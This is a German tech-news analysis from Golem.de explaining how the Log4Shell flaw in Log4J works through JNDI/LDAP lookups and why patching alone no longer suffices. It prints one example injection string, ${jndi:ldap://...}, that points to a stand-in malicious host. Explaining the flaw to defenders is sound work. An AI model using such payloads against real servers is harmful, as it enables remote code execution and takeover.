Log4J-Lücke: Warum Log4Shell so gefährlich ist und was (nicht) hilft

Für simple Vorkehrungen gegen die Log4J-Lücke ist es wohl schon zu spät. Warum eigentlich? Fragen und Antworten zu Log4Shell.

Eine Analyse von , und veröffentlicht am
Die Lücke in der Java-Anwendung Log4J wird uns wohl noch sehr lange begleiten.
Die Lücke in der Java-Anwendung Log4J wird uns wohl noch sehr lange begleiten. (Bild: Joe Raedle/Getty Images)

Das Threat-Intelligence-Team von Microsoft, das sich um die Auswertung und Gefahrenanalyse von Sicherheitslücken sowie Schadsoftware kümmert, hat eine erste Analyse zu der Log4Shell genannten Lücke (CVE-2021-44228) in der Logging-Bibliothek Log4J veröffentlicht. Dort betont es: Jedes System mit Log4J muss inzwischen als angegriffen betrachtet werden.

Inhalt:
  1. Log4J-Lücke: Warum Log4Shell so gefährlich ist und was (nicht) hilft
  2. Wie funktioniert die Lücke im Java-Zusammenhang?
  3. Was ist betroffen? Und was hilft gegen Log4Shell?
  4. Wie erkenne ich Angriffe?

Konkret heißt es in der Auswertung von Microsoft: "Da die Vektoren, über die diese Schwachstelle ausgenutzt werden kann, sehr breit gefächert sind und das vollständige Ausspielen von Abhilfemaßnahmen in großen Umgebungen Zeit in Anspruch nehmen wird, empfehlen wir Verteidigern, auf Anzeichen einer nachträglichen Ausnutzung zu achten anstatt sich vollständig auf die Prävention zu verlassen."

Doch konnte eine Lücke in einer Logging-Bibliothek innerhalb weniger Tage nach Bekanntwerden so gravierende Auswirkungen haben, dass Vorkehrungen und das Einspielen von Updates kaum noch helfen? Das liegt einerseits an der extrem weiten Verbreitung von Log4J und andererseits an der Lücke selbst, deren Ausnutzung vergleichsweise einfach ist.

Wie funktioniert die Lücke?

Um das Vorgehen beim Ausnutzen der Lücke zu verstehen, ist es zunächst wichtig zu wissen, was Log4J eigentlich macht: Als Logging-Anwendung zeichnet das Werkzeug Meldungen von Software auf, zum Beispiel Fehlermeldungen, damit diese später noch nachvollzogen werden können. Üblicherweise werden damit aber auch bestimmte weitere Zeichenketten aufgezeichnet, die von außen an eine Anwendung kommen. Das sind etwa der User-Agent eines Browsers, die zur Anmeldung genutzte E-Mail-Adresse oder Nutzernamen oder auch über eine API verschickte Parameter.

Statt einfach nur in eine Log-Datei geschrieben, werden diese Zeichenketten unter bestimmten Umständen auch interpretiert. Grund dafür sind die sogenannten Lookups in der Log4J-Anwendungslogik, mit denen zusätzliche Informationen zur Konfiguration von Log4J hinzugefügt werden können. Das können Attribute eines Docker-Containers oder auch Detailinformationen zur genutzten Java-Instanz sein.

Eine dieser Lookup-Funktionen in Log4J unterstützt das Java Naming and Directory Interface (JNDI). Dieses dient dazu, Referenzen auf Objekte oder Klassen zu laden - auch von entfernten Rechnern. In Log4J sollen damit etwa Variablen geladen werden können, wie es im Manual zu der Lookup-Funktion heißt. Standardmäßig genutzt werden kann der JNDI-Lookup in Log4J über den Verzeichnisdienst LDAP.

  • Der Angriff über log4J-Lücke ermöglich die Ausführung von Code auf den betroffenen Servern. (Grafik: Govcert.ch)
Der Angriff über log4J-Lücke ermöglich die Ausführung von Code auf den betroffenen Servern. (Grafik: Govcert.ch)

Als weitere wichtige Erklärung heißt es zu den JNDI-Lookups in Log4J: "Standardmäßig wird der Abfrage das Präfix java:comp/env/ vorangestellt. Wenn der Schlüssel jedoch ein ':' enthält, wird kein Präfix hinzugefügt". Im ersten Fall ist der Aufruf also auf eine bestimmte Umgebung beschränkt, im zweiten aber eben nicht, sodass in diesem Fall auch Referenzen von entfernten Servern geladen werden könnten, wenn etwa LDAP genutzt wird.

Findet sich also in einer von Log4J geloggten Zeichenkette ein JNDI-Lookup-Aufruf, wird dieser ausgeführt. Enthält der Aufruf dann noch ein ":", wird kein Präfix genutzt und der Aufruf selbst also nicht beschränkt. So wird dann eine Referenz über JNDI auch von externen Rechnern geladen. Zum erfolgreichen Ausnutzen der Lücke reicht es letztlich also aus, einen eigenen LDAP-Server zum Verweis auf die Malware zu betreiben und das Ziel mit Log4J dazu zu bringen, den Aufruf zu loggen und dann auszuführen.

Der Aufruf folgt dabei etwa diesem Muster: ${jndi:ldap://boese-domain.golem.de/a}. Ist das angegriffene Ziel im Netz verfügbar, führt dies leicht zu einer Remote-Code-Execution (RCE), also dem Ausführen von Schadcode. Erste Beispiele dafür zeigten Nutzer bereits in der vergangenen Woche für Steam, die iCloud oder die Java-Edition von Minecraft, die mit Hilfe von Chat-Nachrichten übernommen werden konnte.

Bitte aktivieren Sie Javascript.
Oder nutzen Sie das Golem-pur-Angebot
und lesen Golem.de
  • ohne Werbung
  • mit ausgeschaltetem Javascript
  • mit RSS-Volltext-Feed
Wie funktioniert die Lücke im Java-Zusammenhang? 
  1. 1
  2. 2
  3. 3
  4. 4
  5.  


Bolzkopf 02. Jan 2022

denn in diesen Containern befinden sich oftmals eigene Kopien der Java-Bibiliotheken. Es...

scrumdideldu 23. Dez 2021

Der letzte Teil stimmt. Es entbindet nicht von jeglicher Verantwortung. Allerdings ist...

gadthrawn 21. Dez 2021

Die Beispiele bei denen OS wiederholt unsicher ist benötigt es nur aus einem Grund: Zu...

gadthrawn 21. Dez 2021

Nicht? Weißt du was bei einem String mit% beim loggen passiert in Python? ...



Aktuell auf der Startseite von Golem.de
Quellcode auf Github
MS-DOS 4.00 ist jetzt Open Source

Nachdem der ehemalige CTO eine alte MS-DOS-Floppy entdeckt hat, veröffentlicht Microsoft ein Stück Betriebssystem-Geschichte.

Quellcode auf Github: MS-DOS 4.00 ist jetzt Open Source
Artikel
  1. Startrampe Set: Lego bietet Milchstraße und Nasa-Rakete Artemis als Bausatz
    Startrampe Set
    Lego bietet Milchstraße und Nasa-Rakete Artemis als Bausatz

    Lego hat zwei neue Sets vorgestellt, die für Weltraumenthusiasten gedacht sind: das Nasa-Artemis-Startrampen-Set und das Milchstraßen-Galaxie-Set.

  2. Tarifrunde: Montag erneut Streiktag bei der Deutschen Telekom
    Tarifrunde
    Montag erneut Streiktag bei der Deutschen Telekom

    Beim letzten Warnstreik bei der Telekom waren 12.500 Beschäftigte beteiligt. Diesmal wird breiter mobilisiert. Die Telekom versucht Schadensbegrenzung.

  3. Auszieh-Apps: Apple entfernt KI-Nudify-Apps aus dem App Store
    Auszieh-Apps
    Apple entfernt KI-Nudify-Apps aus dem App Store

    Apps, die Personen per KI ungefragt digital ausziehen, sind beliebt. Nun entfernt Apple einige dieser Anwendungen aus dem App Store - aber erst nach Hinweisen von Journalisten.

Du willst dich mit Golem.de beruflich verändern oder weiterbilden?
Zum Stellenmarkt
Zur Akademie
Zum Coaching
  • Schnäppchen, Rabatte und Top-Angebote
    Die besten Deals des Tages
    Daily Deals • Asus OLED-Monitor zum Tiefstpreis • Gigabyte GeForce RTX 4070 Ti im Sale • MediaMarkt: Asus Gaming-Laptop 999€ statt 1.599€ • Gamesplanet Spring Sale [Werbung]
    •  /